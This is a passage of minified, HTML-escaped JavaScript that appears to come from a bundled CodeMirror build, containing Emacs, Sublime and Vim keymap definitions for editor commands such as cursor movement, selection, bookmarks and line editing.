b=a.getCursor();a.replaceRange(e(o(a)),b,b,&quot;paste&quot;),a.setSelection(b,a.getCursor())},&quot;Alt-Y&quot;:function(a){a.replaceSelection(f(),&quot;around&quot;,&quot;paste&quot;)},&quot;Ctrl-Space&quot;:A,&quot;Ctrl-Shift-2&quot;:A,&quot;Ctrl-F&quot;:r(h,1),&quot;Ctrl-B&quot;:r(h,-1),Right:r(h,1),Left:r(h,-1),&quot;Ctrl-D&quot;:function(a){s(a,h,1)},Delete:function(a){t(a)||s(a,h,1)},&quot;Ctrl-H&quot;:function(a){s(a,h,-1)},Backspace:function(a){t(a)||s(a,h,-1)},&quot;Alt-F&quot;:r(i,1),&quot;Alt-B&quot;:r(i,-1),&quot;Alt-D&quot;:function(a){s(a,i,1)},&quot;Alt-Backspace&quot;:function(a){s(a,i,-1)},&quot;Ctrl-N&quot;:r(j,1),&quot;Ctrl-P&quot;:r(j,-1),Down:r(j,1),Up:r(j,-1),&quot;Ctrl-A&quot;:&quot;goLineStart&quot;,&quot;Ctrl-E&quot;:&quot;goLineEnd&quot;,End:&quot;goLineEnd&quot;,Home:&quot;goLineStart&quot;,&quot;Alt-V&quot;:r(k,-1),&quot;Ctrl-V&quot;:r(k,1),PageUp:r(k,-1),PageDown:r(k,1),&quot;Ctrl-Up&quot;:r(l,-1),&quot;Ctrl-Down&quot;:r(l,1),&quot;Alt-A&quot;:r(m,-1),&quot;Alt-E&quot;:r(m,1),&quot;Alt-K&quot;:function(a){s(a,m,1)},&quot;Ctrl-Alt-K&quot;:function(a){s(a,n,1)},&quot;Ctrl-Alt-Backspace&quot;:function(a){s(a,n,-1)},&quot;Ctrl-Alt-F&quot;:r(n,1),&quot;Ctrl-Alt-B&quot;:r(n,-1),&quot;Shift-Ctrl-Alt-2&quot;:function(a){var b=a.getCursor();a.setSelection(q(a,b,n,1),b)},&quot;Ctrl-Alt-T&quot;:function(a){var b=n(a,a.getCursor(),-1),c=n(a,b,1),d=n(a,c,1),e=n(a,d,-1);a.replaceRange(a.getRange(e,d)+a.getRange(c,e)+a.getRange(b,c),b,d)},&quot;Ctrl-Alt-U&quot;:p(E),&quot;Alt-Space&quot;:function(a){for(var b=a.getCursor(),c=b.ch,d=b.ch,e=a.getLine(b.line);c&amp;&amp;/\s/.test(e.charAt(c-1));)--c;for(;d&lt;e.length&amp;&amp;/\s/.test(e.charAt(d));)++d;a.replaceRange(&quot; &quot;,H(b.line,c),H(b.line,d))},&quot;Ctrl-O&quot;:p(function(a){a.replaceSelection(&quot;\n&quot;,&quot;start&quot;)}),&quot;Ctrl-T&quot;:p(function(a){a.execCommand(&quot;transposeChars&quot;)}),&quot;Alt-C&quot;:p(function(a){D(a,function(a){var b=a.search(/\w/);return b==-1?a:a.slice(0,b)+a.charAt(b).toUpperCase()+a.slice(b+1).toLowerCase()})}),&quot;Alt-U&quot;:p(function(a){D(a,function(a){return a.toUpperCase()})}),&quot;Alt-L&quot;:p(function(a){D(a,function(a){return a.toLowerCase()})}),&quot;Alt-;&quot;:&quot;toggleComment&quot;,&quot;Ctrl-/&quot;:p(&quot;undo&quot;),&quot;Shift-Ctrl--&quot;:p(&quot;undo&quot;),&quot;Ctrl-Z&quot;:p(&quot;undo&quot;),&quot;Cmd-Z&quot;:p(&quot;undo&quot;),&quot;Shift-Alt-,&quot;:&quot;goDocStart&quot;,&quot;Shift-Alt-.&quot;:&quot;goDocEnd&quot;,&quot;Ctrl-S&quot;:&quot;findPersistentNext&quot;,&quot;Ctrl-R&quot;:&quot;findPersistentPrev&quot;,&quot;Ctrl-G&quot;:F,&quot;Shift-Alt-5&quot;:&quot;replace&quot;,&quot;Alt-/&quot;:&quot;autocomplete&quot;,Enter:&quot;newlineAndIndent&quot;,&quot;Ctrl-J&quot;:p(function(a){a.replaceSelection(&quot;\n&quot;,&quot;end&quot;)}),Tab:&quot;indentAuto&quot;,&quot;Alt-G G&quot;:function(a){var b=o(a,!0);return null!=b&amp;&amp;b&gt;0?a.setCursor(b-1):void C(a,&quot;Goto line&quot;,function(b){var c;b&amp;&amp;!isNaN(c=Number(b))&amp;&amp;c==(0|c)&amp;&amp;c&gt;0&amp;&amp;a.setCursor(c-1)})},&quot;Ctrl-X Tab&quot;:function(a){a.indentSelection(o(a,!0)||a.getOption(&quot;indentUnit&quot;))},&quot;Ctrl-X Ctrl-X&quot;:function(a){a.setSelection(a.getCursor(&quot;head&quot;),a.getCursor(&quot;anchor&quot;))},&quot;Ctrl-X Ctrl-S&quot;:&quot;save&quot;,&quot;Ctrl-X Ctrl-W&quot;:&quot;save&quot;,&quot;Ctrl-X S&quot;:&quot;saveAll&quot;,&quot;Ctrl-X F&quot;:&quot;open&quot;,&quot;Ctrl-X U&quot;:p(&quot;undo&quot;),&quot;Ctrl-X K&quot;:&quot;close&quot;,&quot;Ctrl-X Delete&quot;:function(a){g(a,a.getCursor(),m(a,a.getCursor(),1),!0)},&quot;Ctrl-X H&quot;:&quot;selectAll&quot;,&quot;Ctrl-Q Tab&quot;:p(&quot;insertTab&quot;),&quot;Ctrl-U&quot;:y}),M={&quot;Ctrl-G&quot;:w},N=0;N&lt;10;++N)G(String(N));G(&quot;-&quot;)})},{&quot;../lib/codemirror&quot;:59}],57:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../lib/codemirror&quot;),a(&quot;../addon/search/searchcursor&quot;),a(&quot;../addon/edit/matchbrackets&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../lib/codemirror&quot;,&quot;../addon/search/searchcursor&quot;,&quot;../addon/edit/matchbrackets&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;function b(b,c,d){if(d&lt;0&amp;&amp;0==c.ch)return b.clipPos(o(c.line-1));var e=b.getLine(c.line);if(d&gt;0&amp;&amp;c.ch&gt;=e.length)return b.clipPos(o(c.line+1,0));for(var f,g=&quot;start&quot;,h=c.ch,i=d&lt;0?0:e.length,j=0;h!=i;h+=d,j++){var k=e.charAt(d&lt;0?h-1:h),l=&quot;_&quot;!=k&amp;&amp;a.isWordChar(k)?&quot;w&quot;:&quot;o&quot;;if(&quot;w&quot;==l&amp;&amp;k.toUpperCase()==k&amp;&amp;(l=&quot;W&quot;),&quot;start&quot;==g)&quot;o&quot;!=l&amp;&amp;(g=&quot;in&quot;,f=l);else if(&quot;in&quot;==g&amp;&amp;f!=l){if(&quot;w&quot;==f&amp;&amp;&quot;W&quot;==l&amp;&amp;d&lt;0&amp;&amp;h--,&quot;W&quot;==f&amp;&amp;&quot;w&quot;==l&amp;&amp;d&gt;0){f=&quot;w&quot;;continue}break}}return o(c.line,h)}function c(a,c){a.extendSelectionsBy(function(d){return a.display.shift||a.doc.extend||d.empty()?b(a.doc,d.head,c):c&lt;0?d.from():d.to()})}function d(b,c){return b.isReadOnly()?a.Pass:(b.operation(function(){for(var a=b.listSelections().length,d=[],e=-1,f=0;f&lt;a;f++){var g=b.listSelections()[f].head;if(!(g.line&lt;=e)){var h=o(g.line+(c?0:1),0);b.replaceRange(&quot;\n&quot;,h,null,&quot;+insertLine&quot;),b.indentLine(h.line,null,!0),
d.push({head:h,anchor:h}),e=g.line+1}}b.setSelections(d)}),void b.execCommand(&quot;indentAuto&quot;))}function e(b,c){for(var d=c.ch,e=d,f=b.getLine(c.line);d&amp;&amp;a.isWordChar(f.charAt(d-1));)--d;for(;e&lt;f.length&amp;&amp;a.isWordChar(f.charAt(e));)++e;return{from:o(c.line,d),to:o(c.line,e),word:f.slice(d,e)}}function f(a,b){for(var c=a.listSelections(),d=[],e=0;e&lt;c.length;e++){var f=c[e],g=a.findPosV(f.anchor,b,&quot;line&quot;),h=a.findPosV(f.head,b,&quot;line&quot;),i={anchor:g,head:h};d.push(f),d.push(i)}a.setSelections(d)}function g(a,b,c){for(var d=0;d&lt;a.length;d++)if(a[d].from()==b&amp;&amp;a[d].to()==c)return!0;return!1}function h(a){for(var b=a.listSelections(),c=[],d=0;d&lt;b.length;d++){var e=b[d],f=e.head,g=a.scanForBracket(f,-1);if(!g)return!1;for(;;){var h=a.scanForBracket(f,1);if(!h)return!1;if(h.ch==u.charAt(u.indexOf(g.ch)+1)){c.push({anchor:o(g.pos.line,g.pos.ch+1),head:h.pos});break}f=o(h.pos.line,h.pos.ch+1)}}return a.setSelections(c),!0}function i(b,c){if(b.isReadOnly())return a.Pass;for(var d,e=b.listSelections(),f=[],g=0;g&lt;e.length;g++){var h=e[g];if(!h.empty()){for(var i=h.from().line,j=h.to().line;g&lt;e.length-1&amp;&amp;e[g+1].from().line==j;)j=e[++g].to().line;e[g].to().ch||j--,f.push(i,j)}}f.length?d=!0:f.push(b.firstLine(),b.lastLine()),b.operation(function(){for(var a=[],e=0;e&lt;f.length;e+=2){var g=f[e],h=f[e+1],i=o(g,0),j=o(h),k=b.getRange(i,j,!1);c?k.sort():k.sort(function(a,b){var c=a.toUpperCase(),d=b.toUpperCase();return c!=d&amp;&amp;(a=c,b=d),a&lt;b?-1:a==b?0:1}),b.replaceRange(k,i,j),d&amp;&amp;a.push({anchor:i,head:o(h+1,0)})}d&amp;&amp;b.setSelections(a,0)})}function j(b,c){b.operation(function(){for(var d=b.listSelections(),f=[],g=[],h=0;h&lt;d.length;h++){var i=d[h];i.empty()?(f.push(h),g.push(&quot;&quot;)):g.push(c(b.getRange(i.from(),i.to())))}b.replaceSelections(g,&quot;around&quot;,&quot;case&quot;);for(var j,h=f.length-1;h&gt;=0;h--){var i=d[f[h]];if(!(j&amp;&amp;a.cmpPos(i.head,j)&gt;0)){var k=e(b,i.head);j=k.from,b.replaceRange(c(k.word),k.from,k.to)}}})}function k(b){var c=b.getCursor(&quot;from&quot;),d=b.getCursor(&quot;to&quot;);if(0==a.cmpPos(c,d)){var f=e(b,c);if(!f.word)return;c=f.from,d=f.to}return{from:c,to:d,query:b.getRange(c,d),word:f}}function l(a,b){var c=k(a);if(c){var d=c.query,e=a.getSearchCursor(d,b?c.to:c.from);(b?e.findNext():e.findPrevious())?a.setSelection(e.from(),e.to()):(e=a.getSearchCursor(d,b?o(a.firstLine(),0):a.clipPos(o(a.lastLine()))),(b?e.findNext():e.findPrevious())?a.setSelection(e.from(),e.to()):c.word&amp;&amp;a.setSelection(c.from,c.to))}}var m=a.keyMap.sublime={fallthrough:&quot;default&quot;},n=a.commands,o=a.Pos,p=a.keyMap[&quot;default&quot;]==a.keyMap.macDefault,q=p?&quot;Cmd-&quot;:&quot;Ctrl-&quot;,r=p?&quot;Ctrl-&quot;:&quot;Alt-&quot;;n[m[r+&quot;Left&quot;]=&quot;goSubwordLeft&quot;]=function(a){c(a,-1)},n[m[r+&quot;Right&quot;]=&quot;goSubwordRight&quot;]=function(a){c(a,1)},p&amp;&amp;(m[&quot;Cmd-Left&quot;]=&quot;goLineStartSmart&quot;);var s=p?&quot;Ctrl-Alt-&quot;:&quot;Ctrl-&quot;;n[m[s+&quot;Up&quot;]=&quot;scrollLineUp&quot;]=function(a){var b=a.getScrollInfo();if(!a.somethingSelected()){var c=a.lineAtHeight(b.top+b.clientHeight,&quot;local&quot;);a.getCursor().line&gt;=c&amp;&amp;a.execCommand(&quot;goLineUp&quot;)}a.scrollTo(null,b.top-a.defaultTextHeight())},n[m[s+&quot;Down&quot;]=&quot;scrollLineDown&quot;]=function(a){var b=a.getScrollInfo();if(!a.somethingSelected()){var c=a.lineAtHeight(b.top,&quot;local&quot;)+1;a.getCursor().line&lt;=c&amp;&amp;a.execCommand(&quot;goLineDown&quot;)}a.scrollTo(null,b.top+a.defaultTextHeight())},n[m[&quot;Shift-&quot;+q+&quot;L&quot;]=&quot;splitSelectionByLine&quot;]=function(a){for(var b=a.listSelections(),c=[],d=0;d&lt;b.length;d++)for(var e=b[d].from(),f=b[d].to(),g=e.line;g&lt;=f.line;++g)f.line&gt;e.line&amp;&amp;g==f.line&amp;&amp;0==f.ch||c.push({anchor:g==e.line?e:o(g,0),head:g==f.line?f:o(g)});a.setSelections(c,0)},m[&quot;Shift-Tab&quot;]=&quot;indentLess&quot;,n[m.Esc=&quot;singleSelectionTop&quot;]=function(a){var b=a.listSelections()[0];a.setSelection(b.anchor,b.head,{scroll:!1})},n[m[q+&quot;L&quot;]=&quot;selectLine&quot;]=function(a){for(var b=a.listSelections(),c=[],d=0;d&lt;b.length;d++){var e=b[d];c.push({anchor:o(e.from().line,0),head:o(e.to().line+1,0)})}a.setSelections(c)},m[&quot;Shift-Ctrl-K&quot;]=&quot;deleteLine&quot;,n[m[q+&quot;Enter&quot;]=&quot;insertLineAfter&quot;]=function(a){return d(a,!1)},n[m[&quot;Shift-&quot;+q+&quot;Enter&quot;]=&quot;insertLineBefore&quot;]=function(a){return d(a,!0)},n[m[q+&quot;D&quot;]=&quot;selectNextOccurrence&quot;]=function(b){var c=b.getCursor(&quot;from&quot;),d=b.getCursor(&quot;to&quot;),f=b.state.sublimeFindFullWord==b.doc.sel;if(0==a.cmpPos(c,d)){var h=e(b,c);if(!h.word)return;b.setSelection(h.from,h.to),f=!0}else{var i=b.getRange(c,d),j=f?new RegExp(&quot;\\b&quot;+i+&quot;\\b&quot;):i,k=b.getSearchCursor(j,d),l=k.findNext();if(l||(k=b.getSearchCursor(j,o(b.firstLine(),0)),l=k.findNext()),!l||g(b.listSelections(),k.from(),k.to()))return a.Pass;b.addSelection(k.from(),k.to())}f&amp;&amp;(b.state.sublimeFindFullWord=b.doc.sel)};var t=p?&quot;Shift-Cmd&quot;:&quot;Alt-Ctrl&quot;;n[m[t+&quot;Up&quot;]=&quot;addCursorToPrevLine&quot;]=function(a){f(a,-1)},n[m[t+&quot;Down&quot;]=&quot;addCursorToNextLine&quot;]=function(a){f(a,1)};var u=&quot;(){}[]&quot;;n[m[&quot;Shift-&quot;+q+&quot;Space&quot;]=&quot;selectScope&quot;]=function(a){h(a)||a.execCommand(&quot;selectAll&quot;)},n[m[&quot;Shift-&quot;+q+&quot;M&quot;]=&quot;selectBetweenBrackets&quot;]=function(b){if(!h(b))return a.Pass},n[m[q+&quot;M&quot;]=&quot;goToBracket&quot;]=function(b){b.extendSelectionsBy(function(c){var d=b.scanForBracket(c.head,1);if(d&amp;&amp;0!=a.cmpPos(d.pos,c.head))return d.pos;var e=b.scanForBracket(c.head,-1);return e&amp;&amp;o(e.pos.line,e.pos.ch+1)||c.head})};var v=p?&quot;Cmd-Ctrl-&quot;:&quot;Shift-Ctrl-&quot;;n[m[v+&quot;Up&quot;]=&quot;swapLineUp&quot;]=function(b){if(b.isReadOnly())return a.Pass;for(var c=b.listSelections(),d=[],e=b.firstLine()-1,f=[],g=0;g&lt;c.length;g++){var h=c[g],i=h.from().line-1,j=h.to().line;f.push({anchor:o(h.anchor.line-1,h.anchor.ch),head:o(h.head.line-1,h.head.ch)}),0!=h.to().ch||h.empty()||--j,i&gt;e?d.push(i,j):d.length&amp;&amp;(d[d.length-1]=j),e=j}b.operation(function(){for(var a=0;a&lt;d.length;a+=2){var c=d[a],e=d[a+1],g=b.getLine(c);b.replaceRange(&quot;&quot;,o(c,0),o(c+1,0),&quot;+swapLine&quot;),e&gt;b.lastLine()?b.replaceRange(&quot;\n&quot;+g,o(b.lastLine()),null,&quot;+swapLine&quot;):b.replaceRange(g+&quot;\n&quot;,o(e,0),null,&quot;+swapLine&quot;)}b.setSelections(f),b.scrollIntoView()})},n[m[v+&quot;Down&quot;]=&quot;swapLineDown&quot;]=function(b){if(b.isReadOnly())return a.Pass;for(var c=b.listSelections(),d=[],e=b.lastLine()+1,f=c.length-1;f&gt;=0;f--){var g=c[f],h=g.to().line+1,i=g.from().line;0!=g.to().ch||g.empty()||h--,h&lt;e?d.push(h,i):d.length&amp;&amp;(d[d.length-1]=i),e=i}b.operation(function(){for(var a=d.length-2;a&gt;=0;a-=2){var c=d[a],e=d[a+1],f=b.getLine(c);c==b.lastLine()?b.replaceRange(&quot;&quot;,o(c-1),o(c),&quot;+swapLine&quot;):b.replaceRange(&quot;&quot;,o(c,0),o(c+1,0),&quot;+swapLine&quot;),b.replaceRange(f+&quot;\n&quot;,o(e,0),null,&quot;+swapLine&quot;)}b.scrollIntoView()})},n[m[q+&quot;/&quot;]=&quot;toggleCommentIndented&quot;]=function(a){a.toggleComment({indent:!0})},n[m[q+&quot;J&quot;]=&quot;joinLines&quot;]=function(a){for(var b=a.listSelections(),c=[],d=0;d&lt;b.length;d++){for(var e=b[d],f=e.from(),g=f.line,h=e.to().line;d&lt;b.length-1&amp;&amp;b[d+1].from().line==h;)h=b[++d].to().line;c.push({start:g,end:h,anchor:!e.empty()&amp;&amp;f})}a.operation(function(){for(var b=0,d=[],e=0;e&lt;c.length;e++){for(var f,g=c[e],h=g.anchor&amp;&amp;o(g.anchor.line-b,g.anchor.ch),i=g.start;i&lt;=g.end;i++){var j=i-b;i==g.end&amp;&amp;(f=o(j,a.getLine(j).length+1)),j&lt;a.lastLine()&amp;&amp;(a.replaceRange(&quot; &quot;,o(j),o(j+1,/^\s*/.exec(a.getLine(j+1))[0].length)),++b)}d.push({anchor:h||f,head:f})}a.setSelections(d,0)})},n[m[&quot;Shift-&quot;+q+&quot;D&quot;]=&quot;duplicateLine&quot;]=function(a){a.operation(function(){for(var b=a.listSelections().length,c=0;c&lt;b;c++){var d=a.listSelections()[c];d.empty()?a.replaceRange(a.getLine(d.head.line)+&quot;\n&quot;,o(d.head.line,0)):a.replaceRange(a.getRange(d.from(),d.to()),d.from())}a.scrollIntoView()})},p||(m[q+&quot;T&quot;]=&quot;transposeChars&quot;),n[m.F9=&quot;sortLines&quot;]=function(a){i(a,!0)},n[m[q+&quot;F9&quot;]=&quot;sortLinesInsensitive&quot;]=function(a){i(a,!1)},n[m.F2=&quot;nextBookmark&quot;]=function(a){var b=a.state.sublimeBookmarks;if(b)for(;b.length;){var c=b.shift(),d=c.find();if(d)return b.push(c),a.setSelection(d.from,d.to)}},n[m[&quot;Shift-F2&quot;]=&quot;prevBookmark&quot;]=function(a){var b=a.state.sublimeBookmarks;if(b)for(;b.length;){b.unshift(b.pop());var c=b[b.length-1].find();if(c)return a.setSelection(c.from,c.to);b.pop()}},n[m[q+&quot;F2&quot;]=&quot;toggleBookmark&quot;]=function(a){for(var b=a.listSelections(),c=a.state.sublimeBookmarks||(a.state.sublimeBookmarks=[]),d=0;d&lt;b.length;d++){for(var e=b[d].from(),f=b[d].to(),g=a.findMarks(e,f),h=0;h&lt;g.length;h++)if(g[h].sublimeBookmark){g[h].clear();for(var i=0;i&lt;c.length;i++)c[i]==g[h]&amp;&amp;c.splice(i--,1);break}h==g.length&amp;&amp;c.push(a.markText(e,f,{sublimeBookmark:!0,clearWhenEmpty:!1}))}},n[m[&quot;Shift-&quot;+q+&quot;F2&quot;]=&quot;clearBookmarks&quot;]=function(a){var b=a.state.sublimeBookmarks;if(b)for(var c=0;c&lt;b.length;c++)b[c].clear();b.length=0},n[m[&quot;Alt-F2&quot;]=&quot;selectBookmarks&quot;]=function(a){var b=a.state.sublimeBookmarks,c=[];if(b)for(var d=0;d&lt;b.length;d++){var e=b[d].find();e?c.push({anchor:e.from,head:e.to}):b.splice(d--,0)}c.length&amp;&amp;a.setSelections(c,0)},m[&quot;Alt-Q&quot;]=&quot;wrapLines&quot;;var w=q+&quot;K &quot;;m[w+q+&quot;Backspace&quot;]=&quot;delLineLeft&quot;,n[m.Backspace=&quot;smartBackspace&quot;]=function(b){return b.somethingSelected()?a.Pass:void b.operation(function(){for(var c=b.listSelections(),d=b.getOption(&quot;indentUnit&quot;),e=c.length-1;e&gt;=0;e--){var f=c[e].head,g=b.getRange({line:f.line,ch:0},f),h=a.countColumn(g,null,b.getOption(&quot;tabSize&quot;)),i=b.findPosH(f,-1,&quot;char&quot;,!1);if(g&amp;&amp;!/\S/.test(g)&amp;&amp;h%d==0){var j=new o(f.line,a.findColumn(g,h-d,d));j.ch!=f.ch&amp;&amp;(i=j)}b.replaceRange(&quot;&quot;,i,f,&quot;+delete&quot;)}})},n[m[w+q+&quot;K&quot;]=&quot;delLineRight&quot;]=function(a){a.operation(function(){for(var b=a.listSelections(),c=b.length-1;c&gt;=0;c--)a.replaceRange(&quot;&quot;,b[c].anchor,o(b[c].to().line),&quot;+delete&quot;);a.scrollIntoView()})},n[m[w+q+&quot;U&quot;]=&quot;upcaseAtCursor&quot;]=function(a){j(a,function(a){return a.toUpperCase()})},n[m[w+q+&quot;L&quot;]=&quot;downcaseAtCursor&quot;]=function(a){j(a,function(a){return a.toLowerCase()})},n[m[w+q+&quot;Space&quot;]=&quot;setSublimeMark&quot;]=function(a){a.state.sublimeMark&amp;&amp;a.state.sublimeMark.clear(),a.state.sublimeMark=a.setBookmark(a.getCursor())},n[m[w+q+&quot;A&quot;]=&quot;selectToSublimeMark&quot;]=function(a){var b=a.state.sublimeMark&amp;&amp;a.state.sublimeMark.find();b&amp;&amp;a.setSelection(a.getCursor(),b)},n[m[w+q+&quot;W&quot;]=&quot;deleteToSublimeMark&quot;]=function(b){var c=b.state.sublimeMark&amp;&amp;b.state.sublimeMark.find();if(c){var d=b.getCursor(),e=c;if(a.cmpPos(d,e)&gt;0){var f=e;e=d,d=f}b.state.sublimeKilled=b.getRange(d,e),b.replaceRange(&quot;&quot;,d,e)}},n[m[w+q+&quot;X&quot;]=&quot;swapWithSublimeMark&quot;]=function(a){var b=a.state.sublimeMark&amp;&amp;a.state.sublimeMark.find();b&amp;&amp;(a.state.sublimeMark.clear(),a.state.sublimeMark=a.setBookmark(a.getCursor()),a.setCursor(b))},n[m[w+q+&quot;Y&quot;]=&quot;sublimeYank&quot;]=function(a){null!=a.state.sublimeKilled&amp;&amp;a.replaceSelection(a.state.sublimeKilled,null,&quot;paste&quot;)},m[w+q+&quot;G&quot;]=&quot;clearBookmarks&quot;,n[m[w+q+&quot;C&quot;]=&quot;showInCenter&quot;]=function(a){var b=a.cursorCoords(null,&quot;local&quot;);a.scrollTo(null,(b.top+b.bottom)/2-a.getScrollInfo().clientHeight/2)};var x=p?&quot;Ctrl-Shift-&quot;:&quot;Ctrl-Alt-&quot;;n[m[x+&quot;Up&quot;]=&quot;selectLinesUpward&quot;]=function(a){a.operation(function(){for(var b=a.listSelections(),c=0;c&lt;b.length;c++){var d=b[c];d.head.line&gt;a.firstLine()&amp;&amp;a.addSelection(o(d.head.line-1,d.head.ch))}})},n[m[x+&quot;Down&quot;]=&quot;selectLinesDownward&quot;]=function(a){a.operation(function(){for(var b=a.listSelections(),c=0;c&lt;b.length;c++){var d=b[c];d.head.line&lt;a.lastLine()&amp;&amp;a.addSelection(o(d.head.line+1,d.head.ch))}})},n[m[q+&quot;F3&quot;]=&quot;findUnder&quot;]=function(a){l(a,!0)},n[m[&quot;Shift-&quot;+q+&quot;F3&quot;]=&quot;findUnderPrevious&quot;]=function(a){l(a,!1)},n[m[&quot;Alt-F3&quot;]=&quot;findAllUnder&quot;]=function(a){var b=k(a);if(b){for(var c=a.getSearchCursor(b.query),d=[],e=-1;c.findNext();)d.push({anchor:c.from(),head:c.to()}),c.from().line&lt;=b.from.line&amp;&amp;c.from().ch&lt;=b.from.ch&amp;&amp;e++;a.setSelections(d,e)}},m[&quot;Shift-&quot;+q+&quot;[&quot;]=&quot;fold&quot;,m[&quot;Shift-&quot;+q+&quot;]&quot;]=&quot;unfold&quot;,m[w+q+&quot;0&quot;]=m[w+q+&quot;J&quot;]=&quot;unfoldAll&quot;,m[q+&quot;I&quot;]=&quot;findIncremental&quot;,m[&quot;Shift-&quot;+q+&quot;I&quot;]=&quot;findIncrementalReverse&quot;,m[q+&quot;H&quot;]=&quot;replace&quot;,m.F3=&quot;findNext&quot;,m[&quot;Shift-F3&quot;]=&quot;findPrev&quot;,a.normalizeKeyMap(m)})},{&quot;../addon/edit/matchbrackets&quot;:12,&quot;../addon/search/searchcursor&quot;:49,&quot;../lib/codemirror&quot;:59}],58:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../lib/codemirror&quot;),a(&quot;../addon/search/searchcursor&quot;),a(&quot;../addon/dialog/dialog&quot;),a(&quot;../addon/edit/matchbrackets.js&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../lib/codemirror&quot;,&quot;../addon/search/searchcursor&quot;,&quot;../addon/dialog/dialog&quot;,&quot;../addon/edit/matchbrackets&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;var b=[{keys:&quot;&lt;Left&gt;&quot;,type:&quot;keyToKey&quot;,toKeys:&quot;h&quot;},{keys:&quot;&lt;Right&gt;&quot;,type:&quot;keyToKey&quot;,toKeys:&quot;l&quot;},{keys:&quot;&lt;Up&gt;&quot;,type:&quot;keyToKey&quot;,toKeys:&quot;k&quot;},{keys:&quot;&lt;Down&gt;&quot;,type:&quot;keyToKey&quot;,toKeys:&quot;j&quot;},{keys:&quot;&lt;Space&gt;&quot;,type:&quot;keyToKey&quot;,toKeys:&quot;l&quot;},{keys:&quot;&lt;BS&gt;&quot;,type:&quot;keyToKey&quot;,toKeys:&quot;h&quot;,context:&quot;normal&quot;},{keys:&quot;&lt;C-Space&gt;&quot;,type:&quot;keyToKey&quot;,toKeys:&quot;W&quot;},{keys:&quot;&lt;C-BS&gt;&quot;,type:&quot;keyToKey&quot;,toKeys:&quot;B&quot;,context:&quot;normal&quot;},{keys:&quot;&lt;S-Space&gt;&quot;,type:&quot;keyToKey&quot;,toKeys:&quot;w&quot;},{keys:&quot;&lt;S-BS&gt;&quot;,type:&quot;keyToKey&quot;,toKeys:&quot;b&quot;,context:&quot;normal&quot;},{keys:&quot;&lt;C-n&gt;&quot;,type:&quot;keyToKey&quot;,toKeys:&quot;j&quot;},{keys:&quot;&lt;C-p&gt;&quot;,type:&quot;keyToKey&quot;,toKeys:&quot;k&quot;},{keys:&quot;&lt;C-[&gt;&quot;,type:&quot;keyToKey&quot;,toKeys:&quot;&lt;Esc&gt;&quot;},{keys:&quot;&lt;C-c&gt;&quot;,type:&quot;keyToKey&quot;,toKeys:&quot;&lt;Esc&gt;&quot;},{keys:&quot;&lt;C-[&gt;&quot;,type:&quot;keyToKey&quot;,toKeys:&quot;&lt;Esc&gt;&quot;,context:&quot;insert&quot;},{keys:&quot;&lt;C-c&gt;&quot;,type:&quot;keyToKey&quot;,toKeys:&quot;&lt;Esc&gt;&quot;,context:&quot;insert&quot;},{keys:&quot;s&quot;,type:&quot;keyToKey&quot;,toKeys:&quot;cl&quot;,context:&quot;normal&quot;},{keys:&quot;s&quot;,type:&quot;keyToKey&quot;,toKeys:&quot;c&quot;,context:&quot;visual&quot;},{keys:&quot;S&quot;,type:&quot;keyToKey&quot;,toKeys:&quot;cc&quot;,context:&quot;normal&quot;},{keys:&quot;S&quot;,type:&quot;keyToKey&quot;,toKeys:&quot;VdO&quot;,context:&quot;visual&quot;},{keys:&quot;&lt;Home&gt;&quot;,type:&quot;keyToKey&quot;,toKeys:&quot;0&quot;},{keys:&quot;&lt;End&gt;&quot;,type:&quot;keyToKey&quot;,toKeys:&quot;$&quot;},{keys:&quot;&lt;PageUp&gt;&quot;,type:&quot;keyToKey&quot;,toKeys:&quot;&lt;C-b&gt;&quot;},{keys:&quot;&lt;PageDown&gt;&quot;,type:&quot;keyToKey&quot;,toKeys:&quot;&lt;C-f&gt;&quot;},{keys:&quot;&lt;CR&gt;&quot;,type:&quot;keyToKey&quot;,toKeys:&quot;j^&quot;,context:&quot;normal&quot;},{keys:&quot;&lt;Ins&gt;&quot;,type:&quot;action&quot;,action:&quot;toggleOverwrite&quot;,context:&quot;insert&quot;},{keys:&quot;H&quot;,type:&quot;motion&quot;,motion:&quot;moveToTopLine&quot;,motionArgs:{linewise:!0,toJumplist:!0}},{keys:&quot;M&quot;,type:&quot;motion&quot;,motion:&quot;moveToMiddleLine&quot;,motionArgs:{linewise:!0,toJumplist:!0}},{keys:&quot;L&quot;,type:&quot;motion&quot;,motion:&quot;moveToBottomLine&quot;,motionArgs:{linewise:!0,toJumplist:!0}},{keys:&quot;h&quot;,type:&quot;motion&quot;,motion:&quot;moveByCharacters&quot;,motionArgs:{forward:!1}},{keys:&quot;l&quot;,type:&quot;motion&quot;,motion:&quot;moveByCharacters&quot;,motionArgs:{forward:!0}},{keys:&quot;j&quot;,type:&quot;motion&quot;,motion:&quot;moveByLines&quot;,motionArgs:{forward:!0,linewise:!0}},{keys:&quot;k&quot;,type:&quot;motion&quot;,motion:&quot;moveByLines&quot;,motionArgs:{forward:!1,linewise:!0}},{keys:&quot;gj&quot;,type:&quot;motion&quot;,motion:&quot;moveByDisplayLines&quot;,motionArgs:{forward:!0}},{keys:&quot;gk&quot;,type:&quot;motion&quot;,motion:&quot;moveByDisplayLines&quot;,motionArgs:{forward:!1}},{keys:&quot;w&quot;,type:&quot;motion&quot;,motion:&quot;moveByWords&quot;,motionArgs:{forward:!0,wordEnd:!1}},{keys:&quot;W&quot;,type:&quot;motion&quot;,motion:&quot;moveByWords&quot;,motionArgs:{forward:!0,wordEnd:!1,bigWord:!0}},{keys:&quot;e&quot;,type:&quot;motion&quot;,motion:&quot;moveByWords&quot;,motionArgs:{forward:!0,wordEnd:!0,inclusive:!0}},{keys:&quot;E&quot;,type:&quot;motion&quot;,motion:&quot;moveByWords&quot;,motionArgs:{forward:!0,wordEnd:!0,bigWord:!0,inclusive:!0}},{keys:&quot;b&quot;,type:&quot;motion&quot;,motion:&quot;moveByWords&quot;,motionArgs:{forward:!1,wordEnd:!1}},{keys:&quot;B&quot;,type:&quot;motion&quot;,motion:&quot;moveByWords&quot;,motionArgs:{forward:!1,wordEnd:!1,bigWord:!0}},{keys:&quot;ge&quot;,type:&quot;motion&quot;,motion: